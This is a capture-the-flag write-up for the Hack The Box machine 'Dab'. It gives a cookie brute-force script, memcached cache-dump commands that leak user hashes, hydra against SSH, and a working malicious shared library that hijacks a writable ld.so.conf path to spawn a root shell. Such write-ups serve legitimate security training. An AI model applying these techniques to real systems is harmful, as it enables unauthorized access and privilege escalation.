Hack The Box - Writeup

Dab

Patrick Hener

November 15, 2018

Table of Content

Recon

nmap

```
Discovered open port 21/tcp on 10.10.10.86
Discovered open port 8080/tcp on 10.10.10.86
Discovered open port 22/tcp on 10.10.10.86
Discovered open port 80/tcp on 10.10.10.86
```

Results of nmap with service scan

Port	Status	Service
21/tcp	open	vsFTPd 3.0.3
22/tcp	open	OpenSSH 7.2p2 Ubuntu 4ubuntu2.4
80/tcp	open	nginx/1.10.3 (Ubuntu)
8080/tcp	open	nginx/1.10.3 (Ubuntu)

FTP

It will just give you one picture "dab.jpg" which shows a man dabbing. Maybe stego?

nginx - port 80

This is a login form.

nginx - port 8080

This will tell you that you have to set a password authentication cookie first. Telling from the error message you can guess that the cookie needs to be set is called 'password'. So bruteforcing the cookie with the following python script will lead to getting the correct cookie, which is `password=secret`.

```
import pprint
import urllib2

file = open('/home/patrick/tools/pwlisten/rockyou/original.txt', 'r')
hashes = file.readlines()
#pprint.pprint(x)
for hash in hashes:
        hash = hash.rstrip("\n\r")
```

```
    print 'Current hash :', hash
    opener = urllib2.build_opener()
    opener.addheaders = [('User-agent', 'Mozilla/5.0')]
    opener.addheaders.append(('Cookie', 'password=%s' %hash))
        f= opener.open('http://10.10.10.86:8080')
    body = f.read()
    text_file = open("log.txt", "a+")
    text_file_valid = open("valid_cookie.txt", "a+")
    if "denied" in body:
        print 'Not valid cookie..'
        text_file.write("Not valid cookie: %s" % hash)
    else:
        print '------->YES..!!! VALID COOKIE: %s' %hash
        text_file_valid.write("Yes..! VALID COOKIE: %s" % hash)

text_file.close()
text_file_valid.close()
```

Next you will be presented with a socket test. So quick run through Burp Intruder with simple list will tell you that port `11211` and `51902` might be a thing to look at. Google will get you that the port you are facing is running service `memcached`. The command `stats` will prove this by providing stats as an result.

So to get anything out of it you need to read out the cache right after you tried to login at port 80. Because the database will be in cache you can recieve the content.

First figure out which slab you are on by issueing `cmd=stats slabs`. In my case it was *26*. Then do a `cmd=stats cachedump 26 1000`. This will tell you that one key is named `users?. Finally login and right afterwards call`cmd=get users‘.

Initial Foothold - Get user.txt

The results will be a big list of user with hashes.

There is one user which cought my attention. It is admin.

‘`admin:2ac9cb7dc02b3c0083eb70898e549b63`. I didn’t even bother to crack the hash, as google is telling me it is md5 for `Password1`. So logging in as admin at Port 80 will work.

I decided to crack all of the hashes then and got another 11 user:pass combinations which worked for the login. The would give me nothing new. Just a dump of the database content like within admins login. So I decided to hydra on ssh. One combination worked out `genevieve:Princess1`.

```
genevieve@dab:~$ cat user.txt
9bcd2cbb78a8899b9c84c385c16942b1
```

Priv Esc - Get root.txt

Enumeration will get you here real quick:

```
genevieve@dab:/$ sudo -l
[sudo] password for genevieve:
Matching Defaults entries for genevieve on dab:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr

User genevieve may run the following commands on dab:
    (root) /usr/bin/try_harder
genevieve@dab:/$ cd /usr/bin/
```

20 minutes in there debuggin you will realize you fell for a rabbit hole. Gosh darnit.

```
genevieve@dab:/usr/bin$ find / -perm -4000 2>/dev/null
/bin/umount
/bin/ping
/bin/ping6
/bin/su
/bin/ntfs-3g
/bin/fusermount
/bin/mount
/usr/bin/at
/usr/bin/newuidmap
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/myexec
/usr/bin/pkexec
/usr/bin/chfn
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/sbin/ldconfig
```

```
/sbin/ldconfig.real
genevieve@dab:/usr/bin$
```

Although it blends in perfectly `/usr/bin/myexec` looks odd, doesn't it?

```
genevieve@dab:/usr/bin$ ./myexec
Enter password: test
Invalid password
```

Thank god there is ltrace on the machine:

```
genevieve@dab:/usr/bin$ ltrace myexec
__libc_start_main(0x400836, 1, 0x7ffea50ec548, 0x4008f0 <unfinished ...>
printf("Enter password: ")
__isoc99_scanf(0x400985, 0x7ffea50ec410, 0x7f8963284780, 16Enter password: test
)                                                                          = 1
strcmp("s3cur3l0g1n", "test")
puts("Invalid password\n"Invalid password

)
+++ exited (status 1) +++
```

So second run:

```
genevieve@dab:/usr/bin$ ltrace myexec
__libc_start_main(0x400836, 1, 0x7ffe5c070e78, 0x4008f0 <unfinished ...>
printf("Enter password: ")
__isoc99_scanf(0x400985, 0x7ffe5c070d40, 0x7f99a8b54780, 16Enter password: s3cur3l0g1n
)                                                                          = 1
strcmp("s3cur3l0g1n", "s3cur3l0g1n")
puts("Password is correct\n"Password is correct

)
seclogin(1, 0xef6010, 0x7f99a8b54780, 0x7f99a88852c0seclogin() called
TODO: Placeholder for now, function not implemented yet
)                                                                              = 0
+++ exited (status 0) +++
```

So `ldd` gets us:

```
genevieve@dab:/usr/bin$ ldd myexec
    linux-vdso.so.1 =>  (0x00007fff27fc9000)
    libseclogin.so => /usr/lib/libseclogin.so (0x00007f4d0e31f000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4d0df55000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f4d0e521000)
genevieve@dab:/usr/bin$
```

And the following will tell us that .so files in /tmp are included as well

```
genevieve@dab:~$ ls -la /etc/ | grep ld
drwxr-xr-x  2 root root    4096 Jul 13 17:20 ldap
-rw-r--r--  1 root root   25365 Nov 15 09:20 ld.so.cache
-rw-r--r--  1 root root      34 Mar 25  2018 ld.so.conf
drwxr-xrwx  2 root root    4096 Mar 25  2018 ld.so.conf.d
genevieve@dab:~$
## ld.so.conf.d is writable
genevieve@dab:~$ cd /etc/ld.so.conf.d/
genevieve@dab:/etc/ld.so.conf.d$ ls -la
total 24
drwxr-xrwx  2 root root 4096 Mar 25  2018 .
drwxr-xr-x 93 root root 4096 Nov 15 09:20 ..
-rw-rw-r--  1 root root   38 Nov 24  2014 fakeroot-x86_64-linux-gnu.conf
-rw-r--r--  1 root root   44 Jan 27  2016 libc.conf
-rw-r--r--  1 root root    5 Mar 25  2018 test.conf
-rw-r--r--  1 root root   68 Apr 14  2016 x86_64-linux-gnu.conf
genevieve@dab:/etc/ld.so.conf.d$ cat test.conf
/tmp
genevieve@dab:/etc/ld.so.conf.d$
```

So technically every .so file in /tmp will be included. Well let's just "design" one then!

```
// gcc -o libseclogin.so -shared -fPIC libseclogin.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void so_inject() __attribute__((constructor));

void so_inject()
{
    setuid(0);
    setgid(0);
    system("/bin/sh");
}
```

This .c file will call so_inject() as soon as it is loaded. Now just compile it in /tmp using `gcc -o libseclogin.so -shared -fPIC libseclogin.c`.

Afterwards do a `ldconfig` to reload the library cache. Finally go and call /usr/bin/myexec.

```
genevieve@dab:/usr/bin$ ./myexec
# id
uid=0(root) gid=0(root) groups=0(root),1000(genevieve)
# cd /root
```

```
# cat root.txt
45cd53a83bf364456386816e35e6a98e
#
```

You are root now!